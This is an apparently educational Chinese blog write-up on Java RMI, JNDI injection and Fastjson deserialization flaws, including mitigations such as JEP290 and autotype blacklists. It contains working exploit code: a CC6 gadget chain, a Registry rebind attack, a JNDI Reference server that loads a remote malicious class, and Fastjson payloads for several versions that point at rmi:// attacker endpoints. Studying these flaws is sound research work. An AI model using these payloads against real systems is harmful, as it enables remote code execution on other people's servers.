RMI介绍

RMI (Remote Method Invocation) 远程方法调用,就是可以使远程函数调用本地函数一样方便,因此这种设计很容易和RPC(Remote Procedure Calls)搞混。区别就在于RMI是Java中的远程方法调用,传递的是一个完整的对象,对象中又包含了需要的参数和数据。

RMI中有两个非常重要的概念,分别是Stubs(客户端存根)和Skeletons(服务端骨架),而客户端和服务端的网络通信时通过 Stub 和 Skeleton 来实现的。

su18师傅给出的一个通信原理图如下所示:

 

首先创建一个Demo来测试

IHello接口,需要继承于java.rmi.Remote,同时里面的所有实例都要抛出java.rmi.RemoteException异常

package com.example.rmiandJndi;

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface IHello extends Remote {
    String sayHello(String str) throws RemoteException;
}

之后就需要创建一个实现类,并实现自IHello接口

package com.example.rmiandJndi;

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class HelloImpl implements IHello {
    protected HelloImpl() throws RemoteException {
        UnicastRemoteObject.exportObject(this, 0);
    }

    @Override
    public String sayHello(String name) {
        System.out.println(name+"+OK");
        return name;
    }
}

 

同时还需要在构造方法中调用UnicastRemoteObject.exportObject来导出远程对象,以使其可用于接收传入调用。

这里引用su18师傅的解释:

更通俗的来讲,这个就是一个 RMI 电话本,我们想在某个人那里获取信息时(Remote Method Invocation),我们在电话本上(Registry)通过这个人的名称 (Name)来找到这个人的电话号码(Reference),并通过这个号码找到这个人(Remote Object)。

而RMI就是用java.rmi.registry.Registry和java.rmi.Naming两个主要类来实现整个功能

java.rmi.Naming中提供了查询(lookup)、绑定(bind)、重新绑定(rebind)、接触绑定(unbind)等,来对注册中心(Registry)进行操作。

通常首先使用createRegistry方法在本地创建一个注册中心

package com.example.rmiandJndi;

import java.rmi.registry.LocateRegistry;

public class Registry {

    public static void main(String[] args) {
        try {
            LocateRegistry.createRegistry(1099);
            System.out.println("Server Start");
            Thread.currentThread().join();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

 

Server端再bind对象

package com.example.rmiandJndi;

import java.net.MalformedURLException;
import java.rmi.AlreadyBoundException;
import java.rmi.Naming;
import java.rmi.RemoteException;

public class RemoteServer {

    public static void main(String[] args) throws RemoteException, MalformedURLException, AlreadyBoundException, InterruptedException {
        // 创建远程对象
        IHello remoteObject = new HelloImpl();
        // 绑定
        Naming.bind("rmi://localhost:1099/Hello", remoteObject);
    }
}

Client端通过lookup从Registry找到对应的对象引用

package com.example.rmiandJndi;

import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.Arrays;

public class RMIClient {

    public static void main(String[] args) throws RemoteException, NotBoundException {

        Registry registry = LocateRegistry.getRegistry("localhost", 1099);

        System.out.println(Arrays.toString(registry.list()));

        // lookup and call
        IHello stub = (IHello) registry.lookup("Hello");
        System.out.println(stub.sayHello("hi"));
    }
}

 

首先启动RegistryCenter,再运行RemoteServer进行绑定,最后RMIClient调用lookup

Server端输出:

 

Client端输出:

 

补充知识点:如果客户端在调用时,传递了一个可序列化对象,这个对象在服务端不存在,则在服务端会抛出 ClassNotFound 的异常,但是 RMI 支持动态类加载,如果设置了 java.rmi.server.codebase,则会尝试从其中的地址获取 .class 并加载及反序列化。可使用如下代码进行设置。

System.setProperty("java.rmi.server.codebase", "http://127.0.0.1:9999/");

意识到这个危害后,官方将 java.rmi.server.useCodebaseOnly 参数的默认值由false 改为了true 。在java.rmi.server.useCodebaseOnly参数配置为 true 的情况下,Java虚拟机将只信任预先配置好的 codebase,不再支持从RMI请求中获取。

所以之后的利用过程中需要完成以下两个步骤:

  1. 安装并配置了SecurityManager

  2. 配置 java.rmi.server.useCodebaseOnly 参数为false 例:java -Djava.rmi.server.useCodebaseOnly=false

 

攻击RMI Server

当Server端存在一个Object参数的函数时候,可以利用这个函数直接执行反序列化

 

在Client端调用CC6链,即可造成远程命令执行

 

完整代码如下:

public static Object getEvilClass() throws NoSuchFieldException, IllegalAccessException{
    Transformer[] transformers = new Transformer[] {
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[] { String.class,Class[].class }, new Object[] { "getRuntime",new Class[0] }),
        new InvokerTransformer("invoke", new Class[] { Object.class,Object[].class }, new Object[] { null, new Object[0] }),
        new InvokerTransformer("exec", new Class[] { String.class },
                               new String[] {
                                   "calc.exe" }),
    };
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
    Map map = new HashMap<>();
    Map lazyMap = LazyMap.decorate(map, chainedTransformer);

    //Execute gadgets
    //lazyMap.get("anything");

    TiedMapEntry tm = new TiedMapEntry(lazyMap,"all");
    //HashMap#readObject会对key调用hash方法
    HashMap expMap = new HashMap();
    expMap.put(tm,"allisok");
    lazyMap.remove("all");
    //通过反射获取transformerChain中的私有属性iTransformers并设置为realTransformers
    Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
    f.setAccessible(true);
    f.set(chainedTransformer, transformers);

    return expMap;
}

 

 

攻击Registry

在Server端绑定服务对象的时候,传入恶意的类即可造成反序列化漏洞执行

public static void main(String[] args) throws RemoteException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException, InvocationTargetException, InstantiationException {

    Registry registry = LocateRegistry.getRegistry("localhost",1099);

    Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor<?> constructor = c.getDeclaredConstructors()[0];
    constructor.setAccessible(true);

    HashMap<String,Object> map = new HashMap<>();
    map.put("wh4am1",getEvilClass());

    InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, map);

    Remote remote = (Remote) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Remote.class}, invocationHandler);

    registry.rebind("wh4am1",remote);
}

 

这里需要 Registry 端具有相应的依赖及相应 JDK 版本需求,这个攻击手段实际上就是 ysoserial 中的 ysoserial.exploit.RMIRegistryExploit 的实现原理。

 

JEP290

JEP290 是 Java 底层为了缓解反序列化攻击提出的一种解决方案。这是一个针对 JAVA 9 提出的安全特性,但同时对 JDK 6,7,8 都进行了支持,在 JDK 6u141、JDK 7u131、JDK 8u121 版本进行了更新。

JEP 290 主要提供了几个机制:

  • 提供了一种灵活的机制,将可反序列化的类从任意类限制为上下文相关的类(黑白名单);

  • 限制反序列化的调用深度和复杂度;

  • 为 RMI export 的对象设置了验证机制;

  • 提供一个全局过滤器,可以在 properties 或配置文件中进行配置。

 

jep290会在反序列化的时候调用checkInput()

return String.class != var2 && !Number.class.isAssignableFrom(var2) && !Remote.class.isAssignableFrom(var2) && !Proxy.class.isAssignableFrom(var2) && !UnicastRef.class.isAssignableFrom(var2) && !RMIClientSocketFactory.class.isAssignableFrom(var2) && !RMIServerSocketFactory.class.isAssignableFrom(var2) && !ActivationID.class.isAssignableFrom(var2) && !UID.class.isAssignableFrom(var2) ? Status.REJECTED : Status.ALLOWED;

 

而之前攻击RMI Server的方式正好可以绕过JEP检查,原因是checkInput中的ObjID是在白名单中的。

 

JNDI介绍

JNDI(Java Naming and Directory Interface,Java命名和目录接口),通过调用JNDI的API应用程序可以定位资源和其他程序对象。JNDI可访问的现有的目录及服务有:JDBC、LDAP、RMI、DNS、NIS、CORBA。

 

可以使用对应的Context来操作对应的功能

//创建JNDI目录服务上下文
InitialContext context = new InitialContext();

//查找JNDI目录服务绑定的对象
Object obj = context.lookup("rmi://127.0.0.1:1099/test")

示例代码通过lookup会自动使用rmiURLContext处理RMI请求。

 

LDAP利用

LDAP在JDK 11.0.1、8u191、7u201、6u211后也将默认的com.sun.jndi.ldap.object.trustURLCodebase设置为了false。

package com.example.rmiandJndi;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.rmi.RemoteException;
import java.util.Hashtable;

public class JNDItoRMI {
    public static void main(String[] args) throws NamingException, RemoteException {
        Hashtable env = new Hashtable();
        env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory");
        //RegistryContextFactory 是RMI Registry Service Provider对应的Factory
        env.put(Context.PROVIDER_URL, "rmi://127.0.0.1:1099");
        Context ctx = new InitialContext(env);
        IHello local_obj = (IHello) ctx.lookup("rmi://127.0.0.1:1099/Hello");
        System.out.println(local_obj.sayHello("hi"));
    }
}

 

上述代码展现了JNDI的方式调用RMI Server端的sayHello函数。

同时ctx的lookup函数也有自动识别协议确定Factory的功能,getURLOrDefaultInitCtx()尝试获取对应协议的上下文环境。

 

JNDI References注入

Reference类表示对存在于Naming/Directory之外的对象引用,Reference可以远程加载类(file/ftp/http等协议),并且实例化。

因此可以通过绑定Reference对象,再通过Reference对象去请求远程的恶意类

package com.example.rmiandJndi.JndiRMI;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class JndiRmiServer {
    public static void main(String args[]) throws Exception {
        Registry registry = LocateRegistry.createRegistry(1099);//Registry写在server里
        Reference refObj = new Reference("EvilObject", "EvilObject", "http://127.0.0.1:8081/");
        ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
        registry.bind("refObj", refObjWrapper);
    }
}

Server端设置一个远程的EvilObject类

Client端直接通过InitialContext.lookup()解析

public static void main(String[] args) throws Exception {
    Context ctx = new InitialContext();
    ctx.lookup("rmi://127.0.0.1:1099/refObj");
}

根据JNDI注入的利用,总结了如下表格:

JNDI服务 需要的安全属性值 Version 备注
RMI java.rmi.server.useCodebaseOnly==false jdk>=6u45、7u21 true true时禁用自动远程加载类
RMI、CORBA com.sun.jndi.rmi.object.trustURLCodebase==true jdk>=6u141、7u131、8u121 false flase禁止通过RMI和CORBA使用远程codebase
LDAP com.sun.jndi.ldap.object.trustURLCodebase==true jdk>=8u191、7u201、6u211 、11.0.1 false false禁止通过LDAP协议使用远程codebase

高版本JDK下JNDI攻击Bypass

https://paper.seebug.org/942/

https://tttang.com/archive/1405/

浅蓝师傅提出的com.sun.glass.utils.NativeLibLoader类,是jdk原生的类,可以用这种方式结合一个JNI文件达到命令执行。前提是需要通过文件上传或者写文件gadget把JNI文件提前写入到磁盘上。

Poc:

private static ResourceRef tomcat_loadLibrary(){
    ResourceRef ref = new ResourceRef("com.sun.glass.utils.NativeLibLoader", null, "", "",
            true, "org.apache.naming.factory.BeanFactory", null);
    ref.add(new StringRefAddr("forceString", "a=loadLibrary"));
    ref.add(new StringRefAddr("a", "/../../../../../../../../../../../../tmp/libcmd"));
    return ref;
}

这种方式估计对绕过RASP也有很好的帮助。

 

Fastjson反序列化漏洞

Fastjson1.2.24

package com.example.rmiandJndi.fastjson;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;

public class toJsonSerial {
    public static void main(String[] args){
        String json = "{\"@type\":\"com.example.rmiandJndi.fastjson.Evil\",\"cmd\":\"calc\"}";
        Object obj = JSON.parseObject(json,Object.class, Feature.SupportNonPublicField);
        System.out.println(obj.getClass().getName());
    }
}

反序列化的时候,会自动调用@type的Evil类中的Setting方法进行赋值。

package com.example.rmiandJndi.fastjson;

public class Evil {
    String cmd;

    public Evil(){

    }

    public void setCmd(String cmd) throws Exception{
        this.cmd = cmd;
        Runtime.getRuntime().exec(this.cmd);
    }

    public String getCmd(){
        return this.cmd;
    }

    @Override
    public String toString() {
        return "Evil{" +
                "cmd='" + cmd + '\'' +
                '}';
    }
}

 

但是实际情况下肯定不会有开发人员故意写个后门给你利用,再来看看fastjson中常见的gadget

TemplatesImpl链

要想知道这个链的原理,首先就得过一遍Json解析的过程,以及如何调用@type指定的字段函数。

FastJson在执行反序列化解析的时候,会首先通过DefaultJSONParser.parseObject()

并之后进入DefaultJSONParser.parse(Object)函数switch-case分支的LBRACE分支

进入parseObject方法中,调用了config.getDeserializer(clazz)

 

跟进方法中可以找到调用了createJavaBeanDeserializer方法,在方法中new了一个JavaBeanDeserializer对象,new的过程中先是编译了JavaBeanInfo对象

 

在JavaBeanInfo创建的时候遍历了需要绑定的类所有成员方法,同时Setting方法满足如下几点的

  • 方法名长度不能小于4

  • 不能是静态方法

  • 返回的类型必须是void 或者是自己本身

  • 传入参数个数必须为1

  • 方法开头必须是set

或者是Getting方法满足这几个条件的

  • 方法名长度不小于4

  • 不能是静态方法

  • 方法名要get开头同时第四个字符串要大写

  • 方法返回的类型必须继承自Collection Map AtomicBoolean AtomicInteger AtomicLong

  • 传入的参数个数需要为0

而getOutputProperties方法满足Getting方法的要求,并添加到fieldList列表中

JavaBeanInfo编译好之后进入到JavaBeanDeserializer对象的构造方法中。

JavaBeanDeserializer对象的构造方法中,先把之前满足条件的fieldList创建字段序列器,并把它添加到sortedFieldDeserializers数组中。

再跟进createFieldDeserializer方法

方法直接创建了一个DefaultFieldDeserializer对象并返回,这里是设置了outputProperties字段的反序列化器。

再来看看JavaBeanDeserializer的第二个for循环,调用了getFieldDeserializer方法获取反序列化器

返回结果后,继续跟到DefaultJSONParser.parseObject()方法中,最后返回的时候调用了ObjectDeserializer.deserialze方法,而方法进入到了JavaBeanDeserializer类的deserialze方法中

 

在第570行,对传入的类进行了实例化,之后传入第600行调用parseField进行解析

跟进方法体中

可以看到最终调用了smartMatch方法匹配

在方法中,会将"_outputProperties"内容改为"outputProperties",并在后续通过getFieldDeserializer方法找到对应key的反序列化器

方法返回后,继续跟进,最终调用了改反序列化器的parseField方法

至于setValue中是如何设置的,可以跟进方法中查看

直接通过反射调用了TemplatesImpl的getOutputProperties方法

以上就是Fastjson调用的时候调用Setting/Getting方法所执行的原理

再来看看TemplatesImpl类是如何执行命令的

跟进newTransformer方法,在方法中调用了getTransletInstance(),并判断了_class是否为空,如果为空则继续调用defineTransletClasses()

而重点就在defineTransletClasses()方法中,调用了defineClass来定义_bytecodes的类

定义完成之后,在getTransletInstance方法中又调用了newInstance()实例化对象

_class[_transletIndex].newInstance();

而如果在恶意类中定义了static静态代码块,则会在实例化的时候自动执行代码内容。

完整的调用链如下所示:

TemplatesImpl#getOutputProperties()
  TemplatesImpl#newTransformer()
    TemplatesImpl#getTransletInstance()
        TemplatesImpl#defineTransletClasses()
            TransletClassLoader#defineClass()
        input#newInstance()

 

 

JdbcRowSetImpl链

刚才讲的fastJson TemplatesImpl链需要设置Feature.SupportNonPublicField。条件太过苛刻。

先来看poc

package com.example.rmiandJndi.fastjson;

import com.alibaba.fastjson.JSON;

public class JdbcRowSetImplGadget {
    public static void main(String[] args) {
        String PoC = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"rmi://127.0.0.1:1099/refObj\", \"autoCommit\":true}";
        JSON.parse(PoC);
    }
}

之前说解析原理的时候讲过会自动调用对应的Setting/Getting方法,而JdbcRowSetImpl类中有一个setAutoCommit方法

方法中调用了connect(),跟进查看一下

 

调用了熟悉的InitialContext().lookup(),而这里的DataSourceName也可以通过反序列化解析的时候传入,因此只需要传入一个jndi地址即可达到反序列化执行。

 

结论

1.TemplatesImpl 链

  • 优点:当fastjson不出网的时候可以直接进行盲打(配合时延的命令来判断命令是否执行成功)

  • 缺点:版本限制 1.2.22 起才有 SupportNonPublicField 特性,并且后端开发需要特定语句才能够触发,在使用parseObject 的时候,必须要使用 JSON.parseObject(input, Object.class, Feature.SupportNonPublicField)

2.JdbcRowSetImpl 链

  • 优点:利用范围更广,触发更为容易

  • 缺点:当fastjson 不出网的话这个方法基本上不行(在实际过程中遇到了很多不出网的情况)同时高版本jdk中codebase默认为true,这样意味着,我们只能加载受信任的地址

 

修复方案

 

程序修改了类加载的loadClass方式,采用了checkAutoType的黑+白名单的方式进行限制。

  1. 自从1.2.25 起 autotype 默认关闭

  2. 增加 checkAutoType 方法,在该方法中扩充黑名单,同时增加白名单机制

开启autotype方式

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

 

 

Fastjson1.2.47

在1.2.42之后,防止安全研究人员研究黑名单,把黑名单的方式改成了Hash存放。

如下的Poc可以通杀1.2.25-1.2.47版本

{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://localhost:1099/refObj",
        "autoCommit":true
    }
}

该poc无视checkAutoType

@type设置成java.lang.Class即可通过TypeUtils.loadClass的方式来加载恶意类

再来看看checkAutoType的抛出异常的地方

跟进getClassFromMapping(typeName)

 

正好是之前put好的mapping,正好可以绕过检验。

 

Fastjson1.2.66

需要开启autoTypeSupport

org.apache.shiro.jndi.JndiObjectFactory类需要shiro-core包;

<dependency>
    <groupId>org.apache.shiro</groupId>
    <artifactId>shiro-core</artifactId>
    <version>1.2.2</version>
</dependency>

Poc如下:

{"@type":"org.apache.shiro.realm.jndi.JndiRealmFactory", "jndiNames":["rmi://x.x.x.x:5555/Exp"], "Realms":[""]}

 

在JndiRealmFactory的getRealms方法中调用了lookup进行解析。

 

Fastjson1.2.68

不需要开启autoTypeSupport

需要一个继承自java.lang.AutoCloseable的子类

import java.io.IOException;
 
public class haha implements AutoCloseable{
 
    public haha(String cmd){
        try {
            Runtime.getRuntime().exec(cmd);
        } catch (IOException e) {
            e.printStackTrace();
        }
 
    }
    public void close() throws Exception {
 
    }
}

Poc如下:

String str4 = "{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"haha\",\"cmd\":\"calc\"}";

 

 

Fastjson1.2.80

不需要开启autoTypeSupport

1.2.80和1.2.68的原理是一样的只不过利用了Throwable类,之前1.2.68使用JavaBeanDeserializer序列化器,1.2.80使用ThrowableDeserializer反序列化器,前者是默认反序列化器,后者是针对异常类对象的反序列化器。实际上很少有异常类会使用到高危函数,所以目前还没见有公开的可针对Throwable这个利用点的RCE gadget。

import java.io.IOException;
 
public class CalcException extends Exception {
    public void setName(String str) {
        try {
            Runtime.getRuntime().exec(str);
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

Poc:

String str4 = "{\"@type\":\"java.lang.Exception\",\"@type\":\"CalcException\",\"name\":\"calc\"}";

 

 

Reference

[1].http://wjlshare.com/archives/1512

[2].https://xz.aliyun.com/t/11967

[3].https://blog.csdn.net/dreamthe/article/details/125851153